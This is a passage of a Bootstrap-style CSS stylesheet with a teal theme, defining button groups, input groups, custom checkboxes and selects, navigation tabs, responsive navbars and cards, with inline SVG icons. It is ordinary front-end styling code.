.btn,\n.btn-group-vertical .btn + .btn-group,\n.btn-group-vertical .btn-group + .btn,\n.btn-group-vertical .btn-group + .btn-group {\n  margin-left: -2px;\n}\n\n.btn-toolbar {\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-wrap: wrap;\n      flex-wrap: wrap;\n  -webkit-box-pack: start;\n      -ms-flex-pack: start;\n          justify-content: flex-start;\n}\n\n.btn-toolbar .input-group {\n  width: auto;\n}\n\n.btn-group > .btn:first-child {\n  margin-left: 0;\n}\n\n.btn-group > .btn:not(:last-child):not(.dropdown-toggle),\n.btn-group > .btn-group:not(:last-child) > .btn {\n  border-top-right-radius: 0;\n  border-bottom-right-radius: 0;\n}\n\n.btn-group > .btn:not(:first-child),\n.btn-group > .btn-group:not(:first-child) > .btn {\n  border-top-left-radius: 0;\n  border-bottom-left-radius: 0;\n}\n\n.dropdown-toggle-split {\n  padding-right: 0.5625rem;\n  padding-left: 0.5625rem;\n}\n\n.dropdown-toggle-split::after {\n  margin-left: 0;\n}\n\n.btn-sm + .dropdown-toggle-split, .btn-group-sm > .btn + .dropdown-toggle-split {\n  padding-right: 0.375rem;\n  padding-left: 0.375rem;\n}\n\n.btn-lg + .dropdown-toggle-split, .btn-group-lg > .btn + .dropdown-toggle-split {\n  padding-right: 0.75rem;\n  padding-left: 0.75rem;\n}\n\n.btn-group-vertical {\n  -webkit-box-orient: vertical;\n  -webkit-box-direction: normal;\n      -ms-flex-direction: column;\n          flex-direction: column;\n  -webkit-box-align: start;\n      -ms-flex-align: start;\n          align-items: flex-start;\n  -webkit-box-pack: center;\n      -ms-flex-pack: center;\n          justify-content: center;\n}\n\n.btn-group-vertical .btn,\n.btn-group-vertical .btn-group {\n  width: 100%;\n}\n\n.btn-group-vertical > .btn + .btn,\n.btn-group-vertical > .btn + .btn-group,\n.btn-group-vertical > .btn-group + .btn,\n.btn-group-vertical > .btn-group + .btn-group {\n  margin-top: -2px;\n  margin-left: 0;\n}\n\n.btn-group-vertical > .btn:not(:last-child):not(.dropdown-toggle),\n.btn-group-vertical > .btn-group:not(:last-child) > .btn {\n  border-bottom-right-radius: 0;\n  border-bottom-left-radius: 0;\n}\n\n.btn-group-vertical > .btn:not(:first-child),\n.btn-group-vertical > .btn-group:not(:first-child) > .btn {\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n}\n\n.btn-group-toggle > .btn,\n.btn-group-toggle > .btn-group > .btn {\n  margin-bottom: 0;\n}\n\n.btn-group-toggle > .btn input[type=\"radio\"],\n.btn-group-toggle > .btn input[type=\"checkbox\"],\n.btn-group-toggle > .btn-group > .btn input[type=\"radio\"],\n.btn-group-toggle > .btn-group > .btn input[type=\"checkbox\"] {\n  position: absolute;\n  clip: rect(0, 0, 0, 0);\n  pointer-events: none;\n}\n\n.input-group {\n  position: relative;\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-wrap: wrap;\n      flex-wrap: wrap;\n  -webkit-box-align: stretch;\n      -ms-flex-align: stretch;\n          align-items: stretch;\n  width: 100%;\n}\n\n.input-group > .form-control,\n.input-group > .custom-select,\n.input-group > .custom-file {\n  position: relative;\n  -webkit-box-flex: 1;\n      -ms-flex: 1 1 auto;\n          flex: 1 1 auto;\n  width: 1%;\n  margin-bottom: 0;\n}\n\n.input-group > .form-control:focus,\n.input-group > .custom-select:focus,\n.input-group > .custom-file:focus {\n  z-index: 3;\n}\n\n.input-group > .form-control + .form-control,\n.input-group > .form-control + .custom-select,\n.input-group > .form-control + .custom-file,\n.input-group > .custom-select + .form-control,\n.input-group > .custom-select + .custom-select,\n.input-group > .custom-select + .custom-file,\n.input-group > .custom-file + .form-control,\n.input-group > .custom-file + .custom-select,\n.input-group > .custom-file + .custom-file {\n  margin-left: -2px;\n}\n\n.input-group > .form-control:not(:last-child),\n.input-group > .custom-select:not(:last-child) {\n  border-top-right-radius: 0;\n  border-bottom-right-radius: 0;\n}\n\n.input-group > .form-control:not(:first-child),\n.input-group > .custom-select:not(:first-child) {\n  border-top-left-radius: 0;\n  border-bottom-left-radius: 0;\n}\n\n.input-group > .custom-file {\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-align: center;\n      -ms-flex-align: center;\n          align-items: center;\n}\n\n.input-group > .custom-file:not(:last-child) .custom-file-label,\n.input-group > .custom-file:not(:last-child) .custom-file-label::before {\n  border-top-right-radius: 0;\n  border-bottom-right-radius: 0;\n}\n\n.input-group > .custom-file:not(:first-child) .custom-file-label,\n.input-group > .custom-file:not(:first-child) .custom-file-label::before {\n  border-top-left-radius: 0;\n  border-bottom-left-radius: 0;\n}\n\n.input-group-prepend,\n.input-group-append {\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n}\n\n.input-group-prepend .btn,\n.input-group-append .btn {\n  position: relative;\n  z-index: 2;\n}\n\n.input-group-prepend .btn + .btn,\n.input-group-prepend .btn + .input-group-text,\n.input-group-prepend .input-group-text + .input-group-text,\n.input-group-prepend .input-group-text + .btn,\n.input-group-append .btn + .btn,\n.input-group-append .btn + .input-group-text,\n.input-group-append .input-group-text + .input-group-text,\n.input-group-append .input-group-text + .btn {\n  margin-left: -2px;\n}\n\n.input-group-prepend {\n  margin-right: -2px;\n}\n\n.input-group-append {\n  margin-left: -2px;\n}\n\n.input-group-text {\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-align: center;\n      -ms-flex-align: center;\n          align-items: center;\n  padding: 0.375rem 0.75rem;\n  margin-bottom: 0;\n  font-size: 0.875rem;\n  font-weight: 400;\n  line-height: 1.5;\n  color: #495057;\n  text-align: center;\n  white-space: nowrap;\n  background-color: #e9ecef;\n  border: 2px solid #ced4da;\n  border-radius: 4px;\n}\n\n.input-group-text input[type=\"radio\"],\n.input-group-text input[type=\"checkbox\"] {\n  margin-top: 0;\n}\n\n.input-group > .input-group-prepend > .btn,\n.input-group > .input-group-prepend > .input-group-text,\n.input-group > .input-group-append:not(:last-child) > .btn,\n.input-group > .input-group-append:not(:last-child) > .input-group-text,\n.input-group > .input-group-append:last-child > .btn:not(:last-child):not(.dropdown-toggle),\n.input-group > .input-group-append:last-child > .input-group-text:not(:last-child) {\n  border-top-right-radius: 0;\n  border-bottom-right-radius: 0;\n}\n\n.input-group > .input-group-append > .btn,\n.input-group > .input-group-append > .input-group-text,\n.input-group > .input-group-prepend:not(:first-child) > .btn,\n.input-group > .input-group-prepend:not(:first-child) > .input-group-text,\n.input-group > .input-group-prepend:first-child > .btn:not(:first-child),\n.input-group > .input-group-prepend:first-child > .input-group-text:not(:first-child) {\n  border-top-left-radius: 0;\n  border-bottom-left-radius: 0;\n}\n\n.custom-control {\n  position: relative;\n  display: block;\n  min-height: 1.5rem;\n  padding-left: 1.5rem;\n}\n\n.custom-control-inline {\n  display: -webkit-inline-box;\n  display: -ms-inline-flexbox;\n  display: inline-flex;\n  margin-right: 1rem;\n}\n\n.custom-control-input {\n  position: absolute;\n  z-index: -1;\n  opacity: 0;\n}\n\n.custom-control-input:checked ~ .custom-control-label::before {\n  color: #FFF;\n  background-color: #009688;\n}\n\n.custom-control-input:focus ~ .custom-control-label::before {\n  -webkit-box-shadow: 0 0 0 1px #FFF, none;\n          box-shadow: 0 0 0 1px #FFF, none;\n}\n\n.custom-control-input:active ~ .custom-control-label::before {\n  color: #FFF;\n  background-color: #4affee;\n}\n\n.custom-control-input:disabled ~ .custom-control-label {\n  color: #6c757d;\n}\n\n.custom-control-input:disabled ~ .custom-control-label::before {\n  background-color: #e9ecef;\n}\n\n.custom-control-label {\n  margin-bottom: 0;\n}\n\n.custom-control-label::before {\n  position: absolute;\n  top: 0.25rem;\n  left: 0;\n  display: block;\n  width: 1rem;\n  height: 1rem;\n  pointer-events: none;\n  content: \"\";\n  -webkit-user-select: none;\n     -moz-user-select: none;\n      -ms-user-select: none;\n          user-select: none;\n  background-color: #dee2e6;\n}\n\n.custom-control-label::after {\n  position: absolute;\n  top: 0.25rem;\n  left: 0;\n  display: block;\n  width: 1rem;\n  height: 1rem;\n  content: \"\";\n  background-repeat: no-repeat;\n  background-position: center center;\n  background-size: 50% 50%;\n}\n\n.custom-checkbox .custom-control-label::before {\n  border-radius: 0.25rem;\n}\n\n.custom-checkbox .custom-control-input:checked ~ .custom-control-label::before {\n  background-color: #009688;\n}\n\n.custom-checkbox .custom-control-input:checked ~ .custom-control-label::after {\n  background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3E%3Cpath fill='%23FFF' d='M6.564.75l-3.59 3.612-1.538-1.55L0 4.26 2.974 7.25 8 2.193z'/%3E%3C/svg%3E\");\n}\n\n.custom-checkbox .custom-control-input:indeterminate ~ .custom-control-label::before {\n  background-color: #009688;\n}\n\n.custom-checkbox .custom-control-input:indeterminate ~ .custom-control-label::after {\n  background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 4'%3E%3Cpath stroke='%23FFF' d='M0 2h4'/%3E%3C/svg%3E\");\n}\n\n.custom-checkbox .custom-control-input:disabled:checked ~ .custom-control-label::before {\n  background-color: rgba(0, 150, 136, 0.5);\n}\n\n.custom-checkbox .custom-control-input:disabled:indeterminate ~ .custom-control-label::before {\n  background-color: rgba(0, 150, 136, 0.5);\n}\n\n.custom-radio .custom-control-label::before {\n  border-radius: 50%;\n}\n\n.custom-radio .custom-control-input:checked ~ .custom-control-label::before {\n  background-color: #009688;\n}\n\n.custom-radio .custom-control-input:checked ~ .custom-control-label::after {\n  background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3E%3Ccircle r='3' fill='%23FFF'/%3E%3C/svg%3E\");\n}\n\n.custom-radio .custom-control-input:disabled:checked ~ .custom-control-label::before {\n  background-color: rgba(0, 150, 136, 0.5);\n}\n\n.custom-select {\n  display: inline-block;\n  width: 100%;\n  height: calc(2.0625rem + 4px);\n  padding: 0.375rem 1.75rem 0.375rem 0.75rem;\n  line-height: 1.5;\n  color: #495057;\n  vertical-align: middle;\n  background: #FFF url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3E%3Cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3E%3C/svg%3E\") no-repeat right 0.75rem center;\n  background-size: 8px 10px;\n  border: 2px solid #ced4da;\n  border-radius: 0.25rem;\n  -webkit-appearance: none;\n     -moz-appearance: none;\n          appearance: none;\n}\n\n.custom-select:focus {\n  border-color: #009688;\n  outline: 0;\n  -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.075), 0 0 5px rgba(0, 150, 136, 0.5);\n          box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.075), 0 0 5px rgba(0, 150, 136, 0.5);\n}\n\n.custom-select:focus::-ms-value {\n  color: #495057;\n  background-color: #FFF;\n}\n\n.custom-select[multiple], .custom-select[size]:not([size=\"1\"]) {\n  height: auto;\n  padding-right: 0.75rem;\n  background-image: none;\n}\n\n.custom-select:disabled {\n  color: #6c757d;\n  background-color: #e9ecef;\n}\n\n.custom-select::-ms-expand {\n  opacity: 0;\n}\n\n.custom-select-sm {\n  height: calc(1.6484375rem + 4px);\n  padding-top: 0.375rem;\n  padding-bottom: 0.375rem;\n  font-size: 75%;\n}\n\n.custom-select-lg {\n  height: calc(2.640625rem + 4px);\n  padding-top: 0.375rem;\n  padding-bottom: 0.375rem;\n  font-size: 125%;\n}\n\n.custom-file {\n  position: relative;\n  display: inline-block;\n  width: 100%;\n  height: calc(2.0625rem + 4px);\n  margin-bottom: 0;\n}\n\n.custom-file-input {\n  position: relative;\n  z-index: 2;\n  width: 100%;\n  height: calc(2.0625rem + 4px);\n  margin: 0;\n  opacity: 0;\n}\n\n.custom-file-input:focus ~ .custom-file-control {\n  border-color: #009688;\n  -webkit-box-shadow: none;\n          box-shadow: none;\n}\n\n.custom-file-input:focus ~ .custom-file-control::before {\n  border-color: #009688;\n}\n\n.custom-file-input:lang(en) ~ .custom-file-label::after {\n  content: \"Browse\";\n}\n\n.custom-file-label {\n  position: absolute;\n  top: 0;\n  right: 0;\n  left: 0;\n  z-index: 1;\n  height: calc(2.0625rem + 4px);\n  padding: 0.375rem 0.75rem;\n  line-height: 1.5;\n  color: #495057;\n  background-color: #FFF;\n  border: 2px solid #ced4da;\n  border-radius: 4px;\n}\n\n.custom-file-label::after {\n  position: absolute;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  z-index: 3;\n  display: block;\n  height: calc(calc(2.0625rem + 4px) - 2px * 2);\n  padding: 0.375rem 0.75rem;\n  line-height: 1.5;\n  color: #495057;\n  content: \"Browse\";\n  background-color: #e9ecef;\n  border-left: 2px solid #ced4da;\n  border-radius: 0 4px 4px 0;\n}\n\n.nav {\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-wrap: wrap;\n      flex-wrap: wrap;\n  padding-left: 0;\n  margin-bottom: 0;\n  list-style: none;\n}\n\n.nav-link {\n  display: block;\n  padding: 0.5rem 1rem;\n}\n\n.nav-link:hover, .nav-link:focus {\n  text-decoration: none;\n}\n\n.nav-link.disabled {\n  color: #6c757d;\n}\n\n.nav-tabs {\n  border-bottom: 1px solid #dee2e6;\n}\n\n.nav-tabs .nav-item {\n  margin-bottom: -1px;\n}\n\n.nav-tabs .nav-link {\n  border: 1px solid transparent;\n  border-top-left-radius: 0.25rem;\n  border-top-right-radius: 0.25rem;\n}\n\n.nav-tabs .nav-link:hover, .nav-tabs .nav-link:focus {\n  border-color: #e9ecef #e9ecef #dee2e6;\n}\n\n.nav-tabs .nav-link.disabled {\n  color: #6c757d;\n  background-color: transparent;\n  border-color: transparent;\n}\n\n.nav-tabs .nav-link.active,\n.nav-tabs .nav-item.show .nav-link {\n  color: #495057;\n  background-color: #FFF;\n  border-color: #dee2e6 #dee2e6 #FFF;\n}\n\n.nav-tabs .dropdown-menu {\n  margin-top: -1px;\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n}\n\n.nav-pills .nav-link {\n  border-radius: 0.25rem;\n}\n\n.nav-pills .nav-link.active,\n.nav-pills .show > .nav-link {\n  color: #FFF;\n  background-color: #009688;\n}\n\n.nav-fill .nav-item {\n  -webkit-box-flex: 1;\n      -ms-flex: 1 1 auto;\n          flex: 1 1 auto;\n  text-align: center;\n}\n\n.nav-justified .nav-item {\n  -ms-flex-preferred-size: 0;\n      flex-basis: 0;\n  -webkit-box-flex: 1;\n      -ms-flex-positive: 1;\n          flex-grow: 1;\n  text-align: center;\n}\n\n.tab-content > .tab-pane {\n  display: none;\n}\n\n.tab-content > .active {\n  display: block;\n}\n\n.navbar {\n  position: relative;\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-wrap: wrap;\n      flex-wrap: wrap;\n  -webkit-box-align: center;\n      -ms-flex-align: center;\n          align-items: center;\n  -webkit-box-pack: justify;\n      -ms-flex-pack: justify;\n          justify-content: space-between;\n  padding: 0.5rem 1rem;\n}\n\n.navbar > .container,\n.navbar > .container-fluid {\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-wrap: wrap;\n      flex-wrap: wrap;\n  -webkit-box-align: center;\n      -ms-flex-align: center;\n          align-items: center;\n  -webkit-box-pack: justify;\n      -ms-flex-pack: justify;\n          justify-content: space-between;\n}\n\n.navbar-brand {\n  display: inline-block;\n  padding-top: 0.3359375rem;\n  padding-bottom: 0.3359375rem;\n  margin-right: 1rem;\n  font-size: 1.09375rem;\n  line-height: inherit;\n  white-space: nowrap;\n}\n\n.navbar-brand:hover, .navbar-brand:focus {\n  text-decoration: none;\n}\n\n.navbar-nav {\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-orient: vertical;\n  -webkit-box-direction: normal;\n      -ms-flex-direction: column;\n          flex-direction: column;\n  padding-left: 0;\n  margin-bottom: 0;\n  list-style: none;\n}\n\n.navbar-nav .nav-link {\n  padding-right: 0;\n  padding-left: 0;\n}\n\n.navbar-nav .dropdown-menu {\n  position: static;\n  float: none;\n}\n\n.navbar-text {\n  display: inline-block;\n  padding-top: 0.5rem;\n  padding-bottom: 0.5rem;\n}\n\n.navbar-collapse {\n  -ms-flex-preferred-size: 100%;\n      flex-basis: 100%;\n  -webkit-box-flex: 1;\n      -ms-flex-positive: 1;\n          flex-grow: 1;\n  -webkit-box-align: center;\n      -ms-flex-align: center;\n          align-items: center;\n}\n\n.navbar-toggler {\n  padding: 0.25rem 0.75rem;\n  font-size: 1.09375rem;\n  line-height: 1;\n  background-color: transparent;\n  border: 1px solid transparent;\n  border-radius: 3px;\n}\n\n.navbar-toggler:hover, .navbar-toggler:focus {\n  text-decoration: none;\n}\n\n.navbar-toggler:not(:disabled):not(.disabled) {\n  cursor: pointer;\n}\n\n.navbar-toggler-icon {\n  display: inline-block;\n  width: 1.5em;\n  height: 1.5em;\n  vertical-align: middle;\n  content: \"\";\n  background: no-repeat center center;\n  background-size: 100% 100%;\n}\n\n@media (max-width: 575.98px) {\n  .navbar-expand-sm > .container,\n  .navbar-expand-sm > .container-fluid {\n    padding-right: 0;\n    padding-left: 0;\n  }\n}\n\n@media (min-width: 576px) {\n  .navbar-expand-sm {\n    -webkit-box-orient: horizontal;\n    -webkit-box-direction: normal;\n        -ms-flex-flow: row nowrap;\n            flex-flow: row nowrap;\n    -webkit-box-pack: start;\n        -ms-flex-pack: start;\n            justify-content: flex-start;\n  }\n  .navbar-expand-sm .navbar-nav {\n    -webkit-box-orient: horizontal;\n    -webkit-box-direction: normal;\n        -ms-flex-direction: row;\n            flex-direction: row;\n  }\n  .navbar-expand-sm .navbar-nav .dropdown-menu {\n    position: absolute;\n  }\n  .navbar-expand-sm .navbar-nav .dropdown-menu-right {\n    right: 0;\n    left: auto;\n  }\n  .navbar-expand-sm .navbar-nav .nav-link {\n    padding-right: 0.5rem;\n    padding-left: 0.5rem;\n  }\n  .navbar-expand-sm > .container,\n  .navbar-expand-sm > .container-fluid {\n    -ms-flex-wrap: nowrap;\n        flex-wrap: nowrap;\n  }\n  .navbar-expand-sm .navbar-collapse {\n    display: -webkit-box !important;\n    display: -ms-flexbox !important;\n    display: flex !important;\n    -ms-flex-preferred-size: auto;\n        flex-basis: auto;\n  }\n  .navbar-expand-sm .navbar-toggler {\n    display: none;\n  }\n  .navbar-expand-sm .dropup .dropdown-menu {\n    top: auto;\n    bottom: 100%;\n  }\n}\n\n@media (max-width: 767.98px) {\n  .navbar-expand-md > .container,\n  .navbar-expand-md > .container-fluid {\n    padding-right: 0;\n    padding-left: 0;\n  }\n}\n\n@media (min-width: 768px) {\n  .navbar-expand-md {\n    -webkit-box-orient: horizontal;\n    -webkit-box-direction: normal;\n        -ms-flex-flow: row nowrap;\n            flex-flow: row nowrap;\n    -webkit-box-pack: start;\n        -ms-flex-pack: start;\n            justify-content: flex-start;\n  }\n  .navbar-expand-md .navbar-nav {\n    -webkit-box-orient: horizontal;\n    -webkit-box-direction: normal;\n        -ms-flex-direction: row;\n            flex-direction: row;\n  }\n  .navbar-expand-md .navbar-nav .dropdown-menu {\n    position: absolute;\n  }\n  .navbar-expand-md .navbar-nav .dropdown-menu-right {\n    right: 0;\n    left: auto;\n  }\n  .navbar-expand-md .navbar-nav .nav-link {\n    padding-right: 0.5rem;\n    padding-left: 0.5rem;\n  }\n  .navbar-expand-md > .container,\n  .navbar-expand-md > .container-fluid {\n    -ms-flex-wrap: nowrap;\n        flex-wrap: nowrap;\n  }\n  .navbar-expand-md .navbar-collapse {\n    display: -webkit-box !important;\n    display: -ms-flexbox !important;\n    display: flex !important;\n    -ms-flex-preferred-size: auto;\n        flex-basis: auto;\n  }\n  .navbar-expand-md .navbar-toggler {\n    display: none;\n  }\n  .navbar-expand-md .dropup .dropdown-menu {\n    top: auto;\n    bottom: 100%;\n  }\n}\n\n@media (max-width: 991.98px) {\n  .navbar-expand-lg > .container,\n  .navbar-expand-lg > .container-fluid {\n    padding-right: 0;\n    padding-left: 0;\n  }\n}\n\n@media (min-width: 992px) {\n  .navbar-expand-lg {\n    -webkit-box-orient: horizontal;\n    -webkit-box-direction: normal;\n        -ms-flex-flow: row nowrap;\n            flex-flow: row nowrap;\n    -webkit-box-pack: start;\n        -ms-flex-pack: start;\n            justify-content: flex-start;\n  }\n  .navbar-expand-lg .navbar-nav {\n    -webkit-box-orient: horizontal;\n    -webkit-box-direction: normal;\n        -ms-flex-direction: row;\n            flex-direction: row;\n  }\n  .navbar-expand-lg .navbar-nav .dropdown-menu {\n    position: absolute;\n  }\n  .navbar-expand-lg .navbar-nav .dropdown-menu-right {\n    right: 0;\n    left: auto;\n  }\n  .navbar-expand-lg .navbar-nav .nav-link {\n    padding-right: 0.5rem;\n    padding-left: 0.5rem;\n  }\n  .navbar-expand-lg > .container,\n  .navbar-expand-lg > .container-fluid {\n    -ms-flex-wrap: nowrap;\n        flex-wrap: nowrap;\n  }\n  .navbar-expand-lg .navbar-collapse {\n    display: -webkit-box !important;\n    display: -ms-flexbox !important;\n    display: flex !important;\n    -ms-flex-preferred-size: auto;\n        flex-basis: auto;\n  }\n  .navbar-expand-lg .navbar-toggler {\n    display: none;\n  }\n  .navbar-expand-lg .dropup .dropdown-menu {\n    top: auto;\n    bottom: 100%;\n  }\n}\n\n@media (max-width: 1199.98px) {\n  .navbar-expand-xl > .container,\n  .navbar-expand-xl > .container-fluid {\n    padding-right: 0;\n    padding-left: 0;\n  }\n}\n\n@media (min-width: 1200px) {\n  .navbar-expand-xl {\n    -webkit-box-orient: horizontal;\n    -webkit-box-direction: normal;\n        -ms-flex-flow: row nowrap;\n            flex-flow: row nowrap;\n    -webkit-box-pack: start;\n        -ms-flex-pack: start;\n            justify-content: flex-start;\n  }\n  .navbar-expand-xl .navbar-nav {\n    -webkit-box-orient: horizontal;\n    -webkit-box-direction: normal;\n        -ms-flex-direction: row;\n            flex-direction: row;\n  }\n  .navbar-expand-xl .navbar-nav .dropdown-menu {\n    position: absolute;\n  }\n  .navbar-expand-xl .navbar-nav .dropdown-menu-right {\n    right: 0;\n    left: auto;\n  }\n  .navbar-expand-xl .navbar-nav .nav-link {\n    padding-right: 0.5rem;\n    padding-left: 0.5rem;\n  }\n  .navbar-expand-xl > .container,\n  .navbar-expand-xl > .container-fluid {\n    -ms-flex-wrap: nowrap;\n        flex-wrap: nowrap;\n  }\n  .navbar-expand-xl .navbar-collapse {\n    display: -webkit-box !important;\n    display: -ms-flexbox !important;\n    display: flex !important;\n    -ms-flex-preferred-size: auto;\n        flex-basis: auto;\n  }\n  .navbar-expand-xl .navbar-toggler {\n    display: none;\n  }\n  .navbar-expand-xl .dropup .dropdown-menu {\n    top: auto;\n    bottom: 100%;\n  }\n}\n\n.navbar-expand {\n  -webkit-box-orient: horizontal;\n  -webkit-box-direction: normal;\n      -ms-flex-flow: row nowrap;\n          flex-flow: row nowrap;\n  -webkit-box-pack: start;\n      -ms-flex-pack: start;\n          justify-content: flex-start;\n}\n\n.navbar-expand > .container,\n.navbar-expand > .container-fluid {\n  padding-right: 0;\n  padding-left: 0;\n}\n\n.navbar-expand .navbar-nav {\n  -webkit-box-orient: horizontal;\n  -webkit-box-direction: normal;\n      -ms-flex-direction: row;\n          flex-direction: row;\n}\n\n.navbar-expand .navbar-nav .dropdown-menu {\n  position: absolute;\n}\n\n.navbar-expand .navbar-nav .dropdown-menu-right {\n  right: 0;\n  left: auto;\n}\n\n.navbar-expand .navbar-nav .nav-link {\n  padding-right: 0.5rem;\n  padding-left: 0.5rem;\n}\n\n.navbar-expand > .container,\n.navbar-expand > .container-fluid {\n  -ms-flex-wrap: nowrap;\n      flex-wrap: nowrap;\n}\n\n.navbar-expand .navbar-collapse {\n  display: -webkit-box !important;\n  display: -ms-flexbox !important;\n  display: flex !important;\n  -ms-flex-preferred-size: auto;\n      flex-basis: auto;\n}\n\n.navbar-expand .navbar-toggler {\n  display: none;\n}\n\n.navbar-expand .dropup .dropdown-menu {\n  top: auto;\n  bottom: 100%;\n}\n\n.navbar-light .navbar-brand {\n  color: rgba(0, 0, 0, 0.9);\n}\n\n.navbar-light .navbar-brand:hover, .navbar-light .navbar-brand:focus {\n  color: rgba(0, 0, 0, 0.9);\n}\n\n.navbar-light .navbar-nav .nav-link {\n  color: rgba(0, 0, 0, 0.5);\n}\n\n.navbar-light .navbar-nav .nav-link:hover, .navbar-light .navbar-nav .nav-link:focus {\n  color: rgba(0, 0, 0, 0.7);\n}\n\n.navbar-light .navbar-nav .nav-link.disabled {\n  color: rgba(0, 0, 0, 0.3);\n}\n\n.navbar-light .navbar-nav .show > .nav-link,\n.navbar-light .navbar-nav .active > .nav-link,\n.navbar-light .navbar-nav .nav-link.show,\n.navbar-light .navbar-nav .nav-link.active {\n  color: rgba(0, 0, 0, 0.9);\n}\n\n.navbar-light .navbar-toggler {\n  color: rgba(0, 0, 0, 0.5);\n  border-color: rgba(0, 0, 0, 0.1);\n}\n\n.navbar-light .navbar-toggler-icon {\n  background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(0, 0, 0, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E\");\n}\n\n.navbar-light .navbar-text {\n  color: rgba(0, 0, 0, 0.5);\n}\n\n.navbar-light .navbar-text a {\n  color: rgba(0, 0, 0, 0.9);\n}\n\n.navbar-light .navbar-text a:hover, .navbar-light .navbar-text a:focus {\n  color: rgba(0, 0, 0, 0.9);\n}\n\n.navbar-dark .navbar-brand {\n  color: #FFF;\n}\n\n.navbar-dark .navbar-brand:hover, .navbar-dark .navbar-brand:focus {\n  color: #FFF;\n}\n\n.navbar-dark .navbar-nav .nav-link {\n  color: rgba(255, 255, 255, 0.5);\n}\n\n.navbar-dark .navbar-nav .nav-link:hover, .navbar-dark .navbar-nav .nav-link:focus {\n  color: rgba(255, 255, 255, 0.75);\n}\n\n.navbar-dark .navbar-nav .nav-link.disabled {\n  color: rgba(255, 255, 255, 0.25);\n}\n\n.navbar-dark .navbar-nav .show > .nav-link,\n.navbar-dark .navbar-nav .active > .nav-link,\n.navbar-dark .navbar-nav .nav-link.show,\n.navbar-dark .navbar-nav .nav-link.active {\n  color: #FFF;\n}\n\n.navbar-dark .navbar-toggler {\n  color: rgba(255, 255, 255, 0.5);\n  border-color: rgba(255, 255, 255, 0.1);\n}\n\n.navbar-dark .navbar-toggler-icon {\n  background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(255, 255, 255, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E\");\n}\n\n.navbar-dark .navbar-text {\n  color: rgba(255, 255, 255, 0.5);\n}\n\n.navbar-dark .navbar-text a {\n  color: #FFF;\n}\n\n.navbar-dark .navbar-text a:hover, .navbar-dark .navbar-text a:focus {\n  color: #FFF;\n}\n\n.card {\n  position: relative;\n  display: -webkit-box;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-orient: vertical;\n  -webkit-box-direction: normal;\n      -ms-flex-direction: column;\n          flex-direction: column;\n  min-width: 0;\n  word-wrap: break-word;\n  background-color: #FFF;\n  background-clip: border-box;\n  border: 1px solid rgba(0, 0, 0, 0.125);\n  border-radius: 0.25rem;\n}\n\n.card > hr {\n  margin-right: 0;\n  margin-left: 0;\n}\n\n.card > .list-group:first-child .list-group-item:first-child {\n  border-top-left-radius: 0.25rem;\n  border-top-right-radius: 0.25rem;\n}\n\n.card > .list-group:last-child .list-group-item:last-child {\n  border-bottom-right-radius: 0.25rem;\n  border-bottom-left-radius: 0.25rem;\n}\n\n.card-body {\n  -webkit-box-flex: 1;\n      -ms-flex: 1 1 auto;\n          flex: 1 1 auto;\n  padding: 1.25rem;\n}\n\n.card-title {\n  margin-bottom: 0.75rem;\n}\n\n.card-subtitle {\n  margin-top: -0.375rem;\n  margin-bottom: 0;\n}\n\n.card-text:last-child {\n  margin-bottom: 0;\n}\n\n.card-link:hover {\n  text-decoration: none;\n}\n\n.card-link + .card-link {\n  margin-left: 1.25rem;\n}\n\n.card-header {\n  padding: 0.75rem 1.25rem;\n  margin-bottom: 0;\n  background-color: rgba(0, 0, 0, 0.03);\n  border-bottom: 1px solid rgba(0, 0, 0, 0.125);\n}\n\n.card-header:first-child {\n  border-radius: calc(0.25rem - 1px) calc(0.25rem - 1px) 0 0;\n}\n\n.card-header + .list-group .list-group-item:first-child {\n  border-top: 0;\n}\n\n.card-footer {\n  padding: 0.75rem 1.25rem;\n  background-color: rgba(0, 0, 0, 0.03);\n  border-top: 1px solid rgba(0, 0, 0, 0.125);\n}\n\n.card-footer:last-child {\n  border-radius: 0 0 calc(0.25rem - 1px) calc(0.25rem - 1px);\n}\n\n.card-header-tabs {\n  margin-right: -0.625rem;\n  margin-bottom: -0.75rem;\n  margin-left: -0.625rem;\n  border-bottom: 0;\n}\n\n.card-header-pills {\n  margin-right: -0.625rem;\n  margin-left: -0.625rem;\n}\n\n.card-img-overlay {\n  position: absolute;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  padding: 1.25rem;\n}\n\n.card-img {\n  width: 100%;\n  border-radius: calc(0.25rem - 1px);\n}\n\n.card-img-top {\n  width: 100%;\n  